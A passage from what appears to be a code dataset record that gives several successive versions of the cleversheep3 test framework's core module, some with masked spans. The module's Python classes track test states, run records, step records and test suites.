A sequence of (non-nul terminated) lines for the docstring. The\n summary (if present) is separated from the details by a single\n empty line.\n\n \"\"\"\n summary, description = self._getDocParts()\n if description:\n return summary + [''] + description\n return summary\n\n @intelliprop\n def doc(self):\n \"\"\"The docstring after being cleaned up.\n\n :Return:\n The cleaned up docstrinc as a multiline string. Leading and\n trailing blank lines are removed and the summary is separated from\n any details by a single blakn line. Common leading whitspace is\n also removed from each line.\n\n \"\"\"\n return '\\n'.join(self.docLines)\n\n def _getDocParts(self):\n lines = self.rawDoc.splitlines()\n while lines and not lines[0].strip():\n lines.pop(0)\n summary = []\n while lines and lines[0].strip():\n summary.append(lines.pop(0))\n while lines and not lines[0].strip():\n lines.pop(0)\n while lines and not lines[-1].strip():\n lines.pop()\n summary = summary[:1] + dedentLines(summary[1:])\n details = dedentLines(lines)\n return summary, details\n\n @property\n def summary(self):\n summary, description = self._getDocParts()\n return ' '.join(summary)\n\n @property\n def details(self):\n summary, description = self._getDocParts()\n return description\n\n @property\n def sourcesUnderTest(self):\n sources = []\n for p in self.namespace.get('sources_under_test', []):\n if not os.path.isabs(p):\n p = os.path.abspath(os.path.join(self.dirname, p))\n sources.append(p)\n p = self.parent\n if p is not None:\n sources.extend(p.sourcesUnderTest)\n return sources\n\n @property\n def klass(self):\n return None\n\n @property\n def path(self):\n p = self.namespace.get('__file__', None)\n if p is None:\n return self.parent.path\n if p.endswith('.pyc'):\n p = p[:-1]\n return p\n\n @property\n def dirname(self):\n f = self.path\n if f:\n return os.path.dirname(f)\n\n @property\n def isBug(self):\n return False\n\n\nclass Test(TestItem):\n typeName = 'Test'\n isSuite = False\n amNull = False\n\n def __init__(self, *args, **kwargs):\n super(Test, self).__init__(*args, **kwargs)\n self._runHistory = []\n self.stopAll = False\n if self.func:\n self.func.cs_test_info.test = weakref.proxy(self)\n\n def getHistory(self):\n return self._runHistory\n\n def dumpHist(self):\n return self._runHistory[-1].dump()\n\n def startNewRun(self):\n rec = RunRecord()\n self._runHistory.append(rec)\n\n def abortRun(self):\n self._runHistory.pop()\n\n def addStepRecord(self, name):\n runRecord = self._runHistory[-1]\n return runRecord.addStepRecord(name)\n\n @property\n def postCheck(self):\n return self.parent.postCheck\n\n @intelliprop\n def hasFailed(self):\n \"\"\"Check if this test has properly failed.\n\n :Return:\n ``True`` if the test has failed to run for any reason.\n\n \"\"\"\n record = self.getRunRecord().getRecord('run')\n return record.state is FAIL\n\n @property\n def klass(self):\n return self.parent.klass\n\n @property\n def funcName(self):\n return self.item.__name__\n\n @property\n def func(self):\n return self.item\n\n @property\n def info(self):\n return self.func.cs_test_info\n\n @property\n def isBroken(self):\n if not hasattr(self, 'info'):\n raise PropertyError('%r has no attribute %r' % (self.__class__.\n __name__, 'info'))\n flag = self.info.reserved_cs_flags.get('broken', None)\n if flag is None:\n flag = self.info.cs_flags.get('broken', False)\n return flag\n\n @property\n def isTodo(self):\n if not hasattr(self, 'info'):\n raise PropertyError('%r has no attribute %r' % (self.__class__.\n __name__, 'info'))\n return self.info.cs_flags.get('todo', False)\n\n @property\n def isBug(self):\n if not hasattr(self, 'info'):\n raise PropertyError('%r has no attribute %r' % (self.__class__.\n __name__, 'info'))\n flag = self.info.reserved_cs_flags.get('bug', None)\n if flag is None:\n flag = self.info.cs_flags.get('bug', False)\n return flag\n\n @property\n def shouldFork(self):\n if not hasattr(self, 'info'):\n raise PropertyError('%r has no attribute %r' % (self.__class__.\n __name__, 'info'))\n if self.info.reserved_cs_flags.get('fork', False):\n return True\n parent = self.parent\n try:\n return parent.suite.cs_attrs.fork_all\n except AttributeError:\n return False\n\n @property\n def testID(self):\n return self.info.cs_tags.get('testID', None)\n\n @property\n def title(self):\n return self.info.cs_flags.get('title', None)\n\n @property\n def isRunnable(self):\n if self.parent.exited:\n return False\n return True\n\n @property\n def state(self):\n rec = self.runRecord\n if rec:\n return rec.state\n return NOT_RUN\n\n @property\n def result(self):\n rec = self.runRecord\n if rec:\n return rec.result\n return NOT_RUN\n\n @property\n def hasRunProblem(self):\n rec = self.runRecord\n if rec:\n return rec.hasRunProblem\n return False\n\n @property\n def hasFailed(self):\n rec = self.runRecord\n if rec:\n return rec.hasFailed\n return False\n\n def addRunRecord(self, record):\n self._runHistory.append(record)\n if len(self._runHistory) > 5:\n self._runHistory[:] = self._runHistory[-5:]\n\n @property\n def runRecord(self):\n \"\"\"The XXX TODO\"\"\"\n if self._runHistory:\n for rec in reversed(self._runHistory):\n if not rec.invalid:\n return rec\n\n @property\n def phaseRecord(self):\n \"\"\"The XXX TODO\"\"\"\n if not self._runHistory:\n return None, None\n return self._runHistory[-1].phaseRecord\n\n def getStepRecord(self, phase):\n return self._runHistory[-1].getStepRecord(phase)\n\n def getTestProcedure(self):\n return self._collection.spec.getThing(self)\n\n\nclass NullTest(Test):\n amNull = True\n\n def __init__(self):\n context = Context.getContext(dirPath=os.getcwd())\n super(NullTest, self).__init__(None, None, None, context)\n self.number = 0\n self.startNewRun()\n\n def startNewRun(self):\n rec = RunRecord()\n self._runHistory.append(rec)\n\n def abortRun(self):\n self._runHistory.pop()\n\n @property\n def isBug(self):\n return False\n\n def __bool__(self):\n return False\n\n\nclass Suite(TestItem):\n typeName = 'Suite'\n isSuite = True\n\n def __init__(self, *args, **kwargs):\n self.myDir = kwargs.pop('myDir')\n super(Suite, self).__init__(*args, **kwargs)\n self.exited = False\n self.number = 0\n self.skipTests = False\n self.entered = False\n\n def reset(self):\n self.entered = False\n self.skipTests = False\n\n @intelliprop\n def children(self):\n \"\"\"All the direct children of this item.\"\"\"\n tests = [t for t in self._collection if t.parent is self]\n suites = [t for t in self._collection.suites if t.parent is self]\n return suites + tests\n\n @intelliprop\n def tests(self):\n \"\"\"All the direct test children of this item.\"\"\"\n return [t for t in self._collection if t.parent is self]\n\n @property\n def suite(self):\n return self.item\n\n @property\n def runAfter(self):\n \"\"\"The _run_after for this source.\"\"\"\n return self.namespace.get('_run_after', [])\n\n @property\n def postCheck(self):\n return self.namespace.get('postCheck', lambda : None)\n\n @property\n def setUp(self):\n return self.namespace.get('setUp', lambda : None)\n\n @property\n def postSetUp(self):\n return self.namespace.get('postSetUp', lambda : None)\n\n @property\n def tearDown(self):\n return self.namespace.get('tearDown', lambda : None)\n\n @property\n def suiteSetUp(self):\n return self.namespace.get('suiteSetUp', lambda : None)\n\n @property\n def suiteTearDown(self):\n return self.namespace.get('suiteTearDown', lambda : None)\n\n def getResult(self, name=None):\n runCount = 0\n childStates = {}\n result = Result(PASS, NONE)\n if not self.children:\n result.state = NOT_RUN\n return result\n for c in self.children:\n state = c.state\n runCount += state is not NOT_RUN\n childStates[state] = None\n if FAIL in childStates:\n result.state = CHILD_FAIL\n elif CHILD_FAIL in childStates:\n result.state = CHILD_FAIL\n elif BAD_SETUP in childStates:\n result.state = CHILD_FAIL\n elif PART_RUN in childStates:\n result.state = PART_RUN\n elif NOT_RUN in childStates:\n if runCount:\n result.state = PART_RUN\n else:\n result.state = NOT_RUN\n return result\n\n @property\n def result(self):\n return self.getResult()\n\n @property\n def state(self):\n result = self.getResult()\n return result.reportCode\n\n def hasTests(self):\n for t in self._collection:\n if t.parent is self:\n return True\n\n\nclass ModuleSuite(Suite):\n pass\n\n\nclass ClassSuite(Suite):\n\n @property\n def klass(self):\n return self.item.__class__.__name__\n\n\n<mask token>\n", "step-4": "<mask token>\n\n\nclass StepRecord:\n <mask token>\n <mask token>\n <mask token>\n\n @property\n def state(self):\n return self.result\n <mask token>\n <mask token>\n\n\nclass StepRecordList:\n\n def __init__(self):\n self.entries = []\n\n\nclass RunRecord:\n \"\"\"A set of records containing all information about a single test's run.\n\n This stores multiple `StepRecord` instances. The records are stored in a\n dictionary keyed by the following names:\n\n setUp, tearDown, prevTearDown, rn\n Each maps to a single `StepRecord`.\n\n suiteSetUp, suiteTearDown, prevSuiteTearDown\n Each mapping to a list of `StepRecord` instances, in execution order.\n\n \"\"\"\n _simpleNames = 'setUp tearDown prevTearDown run postCheck'.split()\n _listNames = 'suiteSetUp suiteTearDown prevSuiteTearDown'.split()\n _recordNames = _simpleNames + _listNames\n _runTime = None\n\n def __init__(self):\n self.runTime = RunRecord._runTime\n self.invalid = False\n self._records = {}\n self.extraInfo = {}\n\n def __setstate__(self, state):\n self.invalid = False\n self.__dict__.update(state)\n\n @classmethod\n def startNewRun(cls):\n cls._runTime = time.time()\n\n @classmethod\n def finishRun(cls):\n cls._runTime = None\n\n def addStepRecord(self, name):\n \"\"\"Add a new phase record to this run record.\n\n Adds a new `StepRecord` for a test phase, which must be one of those\n defined for a `RunRecord`.\n\n :Parameters:\n name\n The name for the record. It must be the name of a defined test\n phase.\n\n :Return:\n The newly added `StepRecord` instance. This will always be a newly\n created instance.\n\n \"\"\"\n assert name in RunRecord._recordNames\n record = StepRecord()\n if name in RunRecord._simpleNames:\n assert name not in self._records\n self._records[name] = record\n else:\n if name not in self._records:\n self._records[name] = StepRecordList()\n self._records[name].entries.append(record)\n return record\n\n def getResult(self, name):\n pass\n\n @property\n def result(self):\n try:\n rec = self._records['setUp']\n except KeyError:\n pass\n else:\n if rec.state is not PASS:\n result = Result(BAD_SETUP, BAD_SETUP)\n return result\n try:\n rec = self._records['run']\n except KeyError:\n pass\n else:\n result = Result(rec.state, rec.reason)\n return result\n for rec in self._records.get('suiteSetUp', []):\n if rec.state is not PASS:\n return Result(NOT_RUN, BAD_SUITE_SETUP)\n try:\n rec = self._records['setUp']\n except KeyError:\n pass\n else:\n if rec.state is not PASS:\n return Result(NOT_RUN, BAD_SETUP)\n return Result(NOT_RUN, NONE)\n\n @property\n def state(self):\n try:\n rec = self._records['setUp']\n except KeyError:\n pass\n else:\n if rec.state is NOT_RUN:\n return NOT_RUN\n if rec.state not in (PASS, BUG, BUG_PASS):\n return BAD_SETUP\n try:\n rec = self._records['run']\n return rec.state\n except KeyError:\n pass\n return NOT_RUN\n\n @property\n def isRunnable(self):\n for name in ('suiteTearDown', 'tearDown', 'suiteSetUp', 'setUp'):\n try:\n if self._records[name].state not in (PASS, SKIPPED, NOT_RUN):\n return True\n except KeyError:\n pass\n return False\n\n @property\n def hasRunProblem(self):\n for name in ('tearDown', 'suiteTearDown', 'suiteSetUp', 'setUp',\n 'run', 'postCheck'):\n try:\n record = self._records[name]\n except KeyError:\n continue\n if name in ('tearDown', 'setUp', 'run', 'postCheck'):\n if record.state not in (PASS, SKIPPED, NOT_RUN, TODO, BUG,\n BUG_PASS):\n return True\n else:\n for rec in record.entries:\n if rec.state not in (PASS, SKIPPED, NOT_RUN, TODO, BUG,\n BUG_PASS):\n return True\n return False\n\n @property\n def hasFailed(self):\n for name in ('suiteSetUp', 'setUp', 'run'):\n try:\n record = self._records[name]\n except KeyError:\n continue\n if name in ('setUp', 'run'):\n if record.state not in (PASS, SKIPPED, NOT_RUN, TODO, BUG,\n BUG_PASS):\n return True\n else:\n for rec in record.entries:\n if rec.state not in (PASS, SKIPPED, NOT_RUN, TODO, BUG,\n BUG_PASS):\n return True\n return False\n\n @property\n def phaseRecord(self):\n \"\"\"Get the most recent phaseRecord.\n\n This is used to get the most pertinent record for this test; i.e. the\n one that provides the most useful result for the test.\n\n TODO: This is not yet well defined.\n\n \"\"\"\n for name in ('tearDown', 'run', 'setUp'):\n try:\n return name, self._records[name]\n except KeyError:\n pass\n seq = self._records.get('suiteSetUp', None)\n if seq is None:\n return None, None\n for ent in seq.entries:\n if ent.hasFailed:\n return 'suiteSetUp', ent\n return 'suiteSetUp', seq.entries[0]\n\n def getStepRecord(self, phase):\n \"\"\"Get the record details for a test run phase.\"\"\"\n ent = self._records.get(phase, None)\n if hasattr(ent, 'append'):\n seq = ent\n for ent in seq:\n if ent.hasFailed:\n return ent\n return seq.entries[0]\n if hasattr(ent, 'entries'):\n seq = ent.entries\n for ent in seq:\n if ent.hasFailed:\n return ent\n if seq:\n return seq[0]\n return\n return ent\n\n\nclass TestItem:\n \"\"\"Base class for `Test` and `Suite` classes.\n\n \"\"\"\n\n def __init__(self, item, uid, parentUid, context, namespace=None):\n \"\"\"Constructor:\n\n :Parameters:\n item\n The concrete test item. For a test function/method this is the\n function/method itself. For a `ClassSuite` this is the instance and\n for a `ModuleSuite` this is the the module instance.\n\n uid\n The unique ID for this item, which is a tuple of strings.\n\n parentUid\n The unique ID of the parent item or ``None``. Only the root `Suite`\n of a test tree has a parent of ``None``.\n\n namespace\n A dictionary that provides the containing namespace for the test\n item.\n\n \"\"\"\n self.item = item\n self.uid = uid\n self.context = context\n self.parentUid = parentUid\n self.namespace = self._getNamespace(namespace)\n self._collection = None\n self._running = False\n self._marks = {}\n self.extraInfo = {}\n\n def setMark(self, mark):\n self._marks[mark] = None\n\n def clearMark(self, mark):\n if mark in self._marks:\n del self._marks[mark]\n\n def isMarked(self, mark):\n return mark in self._marks\n\n def setCollection(self, collection):\n self._collection = weakref.proxy(collection)\n\n def setPhase(self, phase):\n self._phase = phase\n\n @intelliprop\n def state(self):\n \"\"\"The current state of the test.\n\n \"\"\"\n result = self.getResult()\n return result.state\n\n def setState(self, state):\n if state is PASS:\n pass\n\n @intelliprop\n def level(self):\n \"\"\"This item's level in the test tree.\n\n This is the number of ancestors this item has. If zero then this is\n the 'root' item.\n\n \"\"\"\n return len(self.ancestors)\n\n @intelliprop\n def parent(self):\n \"\"\"The parent of this item, which may be ``None``.\n\n If this is ``None`` then this item is the root of a (possibly nested)\n suite of tests.\n\n \"\"\"\n return self._collection.parent(self)\n\n @intelliprop\n def ancestors(self):\n \"\"\"A list of all ancestors for this item.\n\n Each entry is a UID. The first entry is the oldest ancesctor and the\n last entry is the immediate parent's UID.\n\n \"\"\"\n return self._collection.getAncestors(self)\n\n def hasFailingAncestor(self):\n \"\"\"Check if any ancestor is considered to have failed.\n\n An ancestor suite has failed if, for example, its ``suiteSetup``\n failed.\n\n :Return:\n ``True`` if any ancestors has failed.\n\n \"\"\"\n parent = self.parent\n if parent is None:\n return\n return\n return parent.hasFailed or parent.hasFailingAncestor()\n\n def _getNamespace(self, namespace=None):\n return namespace or dict([(n, getattr(self.item, n)) for n in dir(\n self.item)])\n\n @intelliprop\n def rawDoc(self):\n \"\"\"The raw docstring, no cleaning up performed at all.\"\"\"\n return self.namespace['__doc__']\n\n @intelliprop\n def docLines(self):\n \"\"\"The docstring as lines.\n\n This is cleaned up to remove leading and trailing blank lines from\n the summary and details.\n\n :Return:\n A sequence of (non-nul terminated) lines for the docstring. The\n summary (if present) is separated from the details by a single\n empty line.\n\n \"\"\"\n summary, description = self._getDocParts()\n if description:\n return summary + [''] + description\n return summary\n\n @intelliprop\n def doc(self):\n \"\"\"The docstring after being cleaned up.\n\n :Return:\n The cleaned up docstrinc as a multiline string. Leading and\n trailing blank lines are removed and the summary is separated from\n any details by a single blakn line. Common leading whitspace is\n also removed from each line.\n\n \"\"\"\n return '\\n'.join(self.docLines)\n\n def _getDocParts(self):\n lines = self.rawDoc.splitlines()\n while lines and not lines[0].strip():\n lines.pop(0)\n summary = []\n while lines and lines[0].strip():\n summary.append(lines.pop(0))\n while lines and not lines[0].strip():\n lines.pop(0)\n while lines and not lines[-1].strip():\n lines.pop()\n summary = summary[:1] + dedentLines(summary[1:])\n details = dedentLines(lines)\n return summary, details\n\n @property\n def summary(self):\n summary, description = self._getDocParts()\n return ' '.join(summary)\n\n @property\n def details(self):\n summary, description = self._getDocParts()\n return description\n\n @property\n def sourcesUnderTest(self):\n sources = []\n for p in self.namespace.get('sources_under_test', []):\n if not os.path.isabs(p):\n p = os.path.abspath(os.path.join(self.dirname, p))\n sources.append(p)\n p = self.parent\n if p is not None:\n sources.extend(p.sourcesUnderTest)\n return sources\n\n @property\n def klass(self):\n return None\n\n @property\n def path(self):\n p = self.namespace.get('__file__', None)\n if p is None:\n return self.parent.path\n if p.endswith('.pyc'):\n p = p[:-1]\n return p\n\n @property\n def dirname(self):\n f = self.path\n if f:\n return os.path.dirname(f)\n\n @property\n def isBug(self):\n return False\n\n\nclass Test(TestItem):\n typeName = 'Test'\n isSuite = False\n amNull = False\n\n def __init__(self, *args, **kwargs):\n super(Test, self).__init__(*args, **kwargs)\n self._runHistory = []\n self.stopAll = False\n if self.func:\n self.func.cs_test_info.test = weakref.proxy(self)\n\n def getHistory(self):\n return self._runHistory\n\n def dumpHist(self):\n return self._runHistory[-1].dump()\n\n def startNewRun(self):\n rec = RunRecord()\n self._runHistory.append(rec)\n\n def abortRun(self):\n self._runHistory.pop()\n\n def addStepRecord(self, name):\n runRecord = self._runHistory[-1]\n return runRecord.addStepRecord(name)\n\n @property\n def postCheck(self):\n return self.parent.postCheck\n\n @intelliprop\n def hasFailed(self):\n \"\"\"Check if this test has properly failed.\n\n :Return:\n ``True`` if the test has failed to run for any reason.\n\n \"\"\"\n record = self.getRunRecord().getRecord('run')\n return record.state is FAIL\n\n @property\n def klass(self):\n return self.parent.klass\n\n @property\n def funcName(self):\n return self.item.__name__\n\n @property\n def func(self):\n return self.item\n\n @property\n def info(self):\n return self.func.cs_test_info\n\n @property\n def isBroken(self):\n if not hasattr(self, 'info'):\n raise PropertyError('%r has no attribute %r' % (self.__class__.\n __name__, 'info'))\n flag = self.info.reserved_cs_flags.get('broken', None)\n if flag is None:\n flag = self.info.cs_flags.get('broken', False)\n return flag\n\n @property\n def isTodo(self):\n if not hasattr(self, 'info'):\n raise PropertyError('%r has no attribute %r' % (self.__class__.\n __name__, 'info'))\n return self.info.cs_flags.get('todo', False)\n\n @property\n def isBug(self):\n if not hasattr(self, 'info'):\n raise PropertyError('%r has no attribute %r' % (self.__class__.\n __name__, 'info'))\n flag = self.info.reserved_cs_flags.get('bug', None)\n if flag is None:\n flag = self.info.cs_flags.get('bug', False)\n return flag\n\n @property\n def shouldFork(self):\n if not hasattr(self, 'info'):\n raise PropertyError('%r has no attribute %r' % (self.__class__.\n __name__, 'info'))\n if self.info.reserved_cs_flags.get('fork', False):\n return True\n parent = self.parent\n try:\n return parent.suite.cs_attrs.fork_all\n except AttributeError:\n return False\n\n @property\n def testID(self):\n return self.info.cs_tags.get('testID', None)\n\n @property\n def title(self):\n return self.info.cs_flags.get('title', None)\n\n @property\n def isRunnable(self):\n if self.parent.exited:\n return False\n return True\n\n @property\n def state(self):\n rec = self.runRecord\n if rec:\n return rec.state\n return NOT_RUN\n\n @property\n def result(self):\n rec = self.runRecord\n if rec:\n return rec.result\n return NOT_RUN\n\n @property\n def hasRunProblem(self):\n rec = self.runRecord\n if rec:\n return rec.hasRunProblem\n return False\n\n @property\n def hasFailed(self):\n rec = self.runRecord\n if rec:\n return rec.hasFailed\n return False\n\n def addRunRecord(self, record):\n self._runHistory.append(record)\n if len(self._runHistory) > 5:\n self._runHistory[:] = self._runHistory[-5:]\n\n @property\n def runRecord(self):\n \"\"\"The XXX TODO\"\"\"\n if self._runHistory:\n for rec in reversed(self._runHistory):\n if not rec.invalid:\n return rec\n\n @property\n def phaseRecord(self):\n \"\"\"The XXX TODO\"\"\"\n if not self._runHistory:\n return None, None\n return self._runHistory[-1].phaseRecord\n\n def getStepRecord(self, phase):\n return self._runHistory[-1].getStepRecord(phase)\n\n def getTestProcedure(self):\n return self._collection.spec.getThing(self)\n\n\nclass NullTest(Test):\n amNull = True\n\n def __init__(self):\n context = Context.getContext(dirPath=os.getcwd())\n super(NullTest, self).__init__(None, None, None, context)\n self.number = 0\n self.startNewRun()\n\n def startNewRun(self):\n rec = RunRecord()\n self._runHistory.append(rec)\n\n def abortRun(self):\n self._runHistory.pop()\n\n @property\n def isBug(self):\n return False\n\n def __bool__(self):\n return False\n\n\nclass Suite(TestItem):\n typeName = 'Suite'\n isSuite = True\n\n def __init__(self, *args, **kwargs):\n self.myDir = kwargs.pop('myDir')\n super(Suite, self).__init__(*args, **kwargs)\n self.exited = False\n self.number = 0\n self.skipTests = False\n self.entered = False\n\n def reset(self):\n self.entered = False\n self.skipTests = False\n\n @intelliprop\n def children(self):\n \"\"\"All the direct children of this item.\"\"\"\n tests = [t for t in self._collection if t.parent is self]\n suites = [t for t in self._collection.suites if t.parent is self]\n return suites + tests\n\n @intelliprop\n def tests(self):\n \"\"\"All the direct test children of this item.\"\"\"\n return [t for t in self._collection if t.parent is self]\n\n @property\n def suite(self):\n return self.item\n\n @property\n def runAfter(self):\n \"\"\"The _run_after for this source.\"\"\"\n return self.namespace.get('_run_after', [])\n\n @property\n def postCheck(self):\n return self.namespace.get('postCheck', lambda : None)\n\n @property\n def setUp(self):\n return self.namespace.get('setUp', lambda : None)\n\n @property\n def postSetUp(self):\n return self.namespace.get('postSetUp', lambda : None)\n\n @property\n def tearDown(self):\n return self.namespace.get('tearDown', lambda : None)\n\n @property\n def suiteSetUp(self):\n return self.namespace.get('suiteSetUp', lambda : None)\n\n @property\n def suiteTearDown(self):\n return self.namespace.get('suiteTearDown', lambda : None)\n\n def getResult(self, name=None):\n runCount = 0\n childStates = {}\n result = Result(PASS, NONE)\n if not self.children:\n result.state = NOT_RUN\n return result\n for c in self.children:\n state = c.state\n runCount += state is not NOT_RUN\n childStates[state] = None\n if FAIL in childStates:\n result.state = CHILD_FAIL\n elif CHILD_FAIL in childStates:\n result.state = CHILD_FAIL\n elif BAD_SETUP in childStates:\n result.state = CHILD_FAIL\n elif PART_RUN in childStates:\n result.state = PART_RUN\n elif NOT_RUN in childStates:\n if runCount:\n result.state = PART_RUN\n else:\n result.state = NOT_RUN\n return result\n\n @property\n def result(self):\n return self.getResult()\n\n @property\n def state(self):\n result = self.getResult()\n return result.reportCode\n\n def hasTests(self):\n for t in self._collection:\n if t.parent is self:\n return True\n\n\nclass ModuleSuite(Suite):\n pass\n\n\nclass ClassSuite(Suite):\n\n @property\n def klass(self):\n return self.item.__class__.__name__\n\n\n<mask token>\n", "step-5": "\"\"\"Those things that are core to tests.\n\nThis module provides the most fundamental test entities, which include such\nthings as:\n\n- Tests\n- Suites\n- Test states\n\n\"\"\"\nfrom __future__ import print_function\n__docformat__ = \"restructuredtext\"\n\nimport os\nimport textwrap\nimport time\nimport weakref\nimport inspect\n\nfrom cleversheep3.Prog.Aspects import intelliprop\nfrom cleversheep3.Prog.Enum import Enum\n\nfrom cleversheep3.Test.Tester import Context\nfrom cleversheep3.Test.Tester import Coordinator\nfrom cleversheep3.Test.Tester import options\n\nState = Enum(\"State\")\n\n# Static test states.\nNOT_RUN = State(\"NOT_RUN\")\nPASS = State(\"PASS\")\nFAIL = State(\"FAIL\")\nSKIPPED = State(\"SKIPPED\")\nBROKEN = State(\"BROKEN\")\nDISABLED = State(\"DISABLED\")\nBUG = State(\"BUG\")\nBUG_PASS = State(\"BUG_PASS\")\nTODO = State(\"TODO\")\n\n# Dynamic test states.\nSET_UP = State(\"SET_UP\")\nTEAR_DOWN = State(\"TEAR_DOWN\")\nRUNNING = State(\"RUNNING\")\nFINISHED = State(\"FINISHED\") # TODO: To remove!\n\n# Suite specific states.\nCHILD_FAIL = State(\"CHILD_FAIL\")\nPART_RUN = State(\"PART_RUN\")\n\n# Reason codes. Note that this list is those codes that are only used as\n# reasons, some states are also used as reason code.\nNONE = State(\"NONE\")\nERROR = State(\"ERROR\")\nBAD_SETUP = State(\"BAD_SETUP\")\nBAD_SUITE_SETUP = State(\"BAD_SUITE_SETUP\")\nEXIT_SUITE = State(\"EXIT_SUITE\")\nEXIT_ALL = State(\"EXIT_ALL\")\nUSER_STOPPED = State(\"USER_STOPPED\")\n\ndef dedentLines(lines):\n return textwrap.dedent(\"\\n\".join(lines)).splitlines()\n\n\nclass TestInfo:\n \"\"\"Information about a test function.\n\n This class supports the ``@test(...)`` decorator that is used by\n cleversheep3 to mark test functions. All such marked functions are given\n an attribute called ``cs_test_info``, which is in an instance of this\n class.\n\n This is most commonly used in test filter functions, as registered by\n `addTestFilter`. When tests are marked using the ``@test`` decorator\n they can be given one or more tags and/or flags.\n\n Currently this is little more than a struct, except that it provides\n a `__getattr__` that returns ``None`` by default.\n\n \"\"\"\n def __init__(self, *args, **kwargs):\n \"\"\"Constructor:\n\n :Parameters:\n args\n Non-keyword arguments are interpreted by the test framework.\n Each argument is a string. The supported forms are:\n\n plat:<platformType>\n The test will only be executed if ``<platformType>`` matches\n `Sys.Platform.platformType`. For example: ``\"plat:windows\"``.\n\n kwargs\n Any keyword arguments are simply stored as attributes. So, if\n you decorate a ``test_x`` with ``test(xyz=123)`` then\n ``test_x.cs_test_info.xyz`` will be ``123``.\n \"\"\"\n self.reserved_cs_flags = {}\n self.cs_flags = {}\n self.cs_tags = {}\n for arg in args:\n if \":\" in arg:\n name, value = arg.split(\":\", 1)\n self.cs_flags[name] = value\n else:\n self.cs_flags[arg] = True\n\n for name in kwargs:\n if name.startswith(\"cs_\"):\n self.reserved_cs_flags[name[3:]] = kwargs[name]\n else:\n self.cs_tags[name] = kwargs[name]\n self.reserved_cs_flags['defined_in_base'] = None\n\n def __getattr__(self, name):\n \"\"\"Attribute access:\n\n Provides read access to test method tags. For example, if you mark a\n test:<py>:\n\n @test(abc=\"Hello\")\n\n Then, if ``info`` is the test's `TestInfo` object, ``info.abc`` will\n be ``\"Hello\"``. If the test does not have ``abc`` set then the result\n is ``None``.\n \"\"\"\n if name in self.__dict__:\n return self.__dict__.get(name)\n return self.cs_tags.get(name, None)\n\n\nclass Result:\n \"\"\"Full result details for a test.\"\"\"\n def __init__(self, state, reason):\n self.state, self.reason = state, reason\n\n @property\n def reportCode(self):\n if self.reason is NONE:\n return self.state\n return self.reason\n\n\nclass StepRecord:\n \"\"\"A single record used to store informmation about the success or\n otherwise of a test phase.\n\n A test phase is one of:\n\n - A suite set-up/tear-down.\n - A test set-up/tear-down.\n - The execution of the test-method itself.\n\n :Ivariables:\n result\n TODO\n reason\n TODO\n\n \"\"\"\n def __init__(self, result=NOT_RUN, reason=NONE, details=None):\n self.result, self.reason = result, reason\n self.exc = None\n self.reported = False\n\n def setResult(self, state, reason=NONE, details=None):\n self._state, self._reason = state, reason\n self._details = details\n\n # TODO: Just transitional.\n @property\n def state(self):\n return self.result\n\n @property\n def hasFailed(self):\n return self.result in (FAIL, BAD_SETUP)\n\n def __str__(self):\n return \"StepRecord: %s/%s\" % (self.state, self.reason)\n\n\nclass StepRecordList:\n def __init__(self):\n self.entries = []\n\n\nclass RunRecord:\n \"\"\"A set of records containing all information about a single test's run.\n\n This stores multiple `StepRecord` instances. The records are stored in a\n dictionary keyed by the following names:\n\n setUp, tearDown, prevTearDown, rn\n Each maps to a single `StepRecord`.\n\n suiteSetUp, suiteTearDown, prevSuiteTearDown\n Each mapping to a list of `StepRecord` instances, in execution order.\n\n \"\"\"\n _simpleNames = \"\"\"setUp tearDown prevTearDown run postCheck\"\"\".split()\n _listNames = \"\"\"suiteSetUp suiteTearDown prevSuiteTearDown\"\"\".split()\n _recordNames = _simpleNames + _listNames\n _runTime = None\n\n def __init__(self):\n #assert RunRecord._runTime is not None\n self.runTime = RunRecord._runTime\n self.invalid = False\n self._records = {}\n self.extraInfo = {}\n\n def __setstate__(self, state):\n self.invalid = False\n self.__dict__.update(state)\n\n @classmethod\n def startNewRun(cls):\n cls._runTime = time.time()\n\n @classmethod\n def finishRun(cls):\n cls._runTime = None\n\n def addStepRecord(self, name):\n \"\"\"Add a new phase record to this run record.\n\n Adds a new `StepRecord` for a test phase, which must be one of those\n defined for a `RunRecord`.\n\n :Parameters:\n name\n The name for the record. It must be the name of a defined test\n phase.\n\n :Return:\n The newly added `StepRecord` instance. This will always be a newly\n created instance.\n\n \"\"\"\n assert name in RunRecord._recordNames\n record = StepRecord()\n if name in RunRecord._simpleNames:\n assert name not in self._records\n self._records[name] = record\n else:\n if name not in self._records:\n self._records[name] = StepRecordList()\n self._records[name].entries.append(record)\n return record\n\n def getResult(self, name):\n pass\n\n @property\n def result(self):\n # Is set-up failed then we report that as bad setup.\n try:\n rec = self._records[\"setUp\"]\n except KeyError:\n pass\n else:\n if rec.state is not PASS:\n result = Result(BAD_SETUP, BAD_SETUP)\n return result\n\n # See if the test was actually executed.\n try:\n rec = self._records[\"run\"]\n except KeyError:\n pass\n else:\n result = Result(rec.state, rec.reason)\n return result\n\n # Test was not run, so we need to find out why. A suite set-up\n # failure means we consider the test not-run.\n for rec in self._records.get(\"suiteSetUp\", []):\n if rec.state is not PASS:\n return Result(NOT_RUN, BAD_SUITE_SETUP)\n\n try:\n rec = self._records[\"setUp\"]\n except KeyError:\n pass\n else:\n if rec.state is not PASS:\n return Result(NOT_RUN, BAD_SETUP)\n\n return Result(NOT_RUN, NONE)\n\n @property\n def state(self):\n # If set-up failed then we report that as bad setup.\n try:\n rec = self._records[\"setUp\"]\n except KeyError:\n pass\n else:\n if rec.state is NOT_RUN:\n return NOT_RUN\n if rec.state not in (PASS, BUG, BUG_PASS):\n return BAD_SETUP\n\n # If the test has a 'run' entry then that defines the state.\n try:\n rec = self._records[\"run\"]\n #if rec.state is NOT_RUN:\n # return RUNNING\n return rec.state\n except KeyError:\n pass\n\n # Otherwise the state is not-run.\n return NOT_RUN\n\n @property\n def isRunnable(self):\n for name in (\"suiteTearDown\", \"tearDown\", \"suiteSetUp\", \"setUp\"):\n try:\n if self._records[name].state not in (PASS, SKIPPED, NOT_RUN):\n return True\n except KeyError:\n pass\n\n return False\n\n @property\n def hasRunProblem(self):\n for name in (\"tearDown\", \"suiteTearDown\", \"suiteSetUp\", \"setUp\",\n \"run\", \"postCheck\"):\n try:\n record = self._records[name]\n except KeyError:\n continue\n\n if name in (\"tearDown\", \"setUp\", \"run\", \"postCheck\"):\n if record.state not in (PASS, SKIPPED, NOT_RUN,\n TODO, BUG, BUG_PASS):\n return True\n else:\n for rec in record.entries:\n if rec.state not in (PASS, SKIPPED, NOT_RUN,\n TODO, BUG, BUG_PASS):\n return True\n\n return 